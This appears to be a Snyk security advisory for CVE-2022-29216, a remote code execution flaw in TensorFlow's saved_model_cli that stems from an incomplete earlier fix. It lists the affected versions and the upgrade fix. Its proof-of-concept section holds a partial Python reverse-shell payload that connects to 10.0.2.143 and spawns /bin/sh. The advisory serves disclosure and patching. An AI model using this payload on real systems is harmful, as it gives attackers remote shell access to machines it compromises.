Remote Code Execution (RCE) Affecting tensorflow package, versions [,2.6.4)[2.7.0,2.7.2)[2.8.0,2.8.1)[2.9.0rc0, 2.9.0)


Severity

Recommended
0.0
high
0
10

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Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.1% (42nd percentile)

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  • Snyk IDSNYK-PYTHON-TENSORFLOW-2841408
  • published22 May 2022
  • disclosed22 May 2022
  • creditAndey Robins

Introduced: 22 May 2022

CVE-2022-29216  (opens in a new tab)
CWE-94  (opens in a new tab)

How to fix?

Upgrade tensorflow to version 2.6.4, 2.7.2, 2.8.1, 2.9.0 or higher.

Overview

tensorflow is a machine learning framework.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to improper fix of CVE-2021-41228. Exploiting this vulnerability is possible via the saved_model_cli tool and can be abused to open a reverse shell.

PoC:

subprocess\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.connect(("10.0.2.143",33419))\nsubprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())""")'
--dir ./ --tag_set serve --signature_def serving_default

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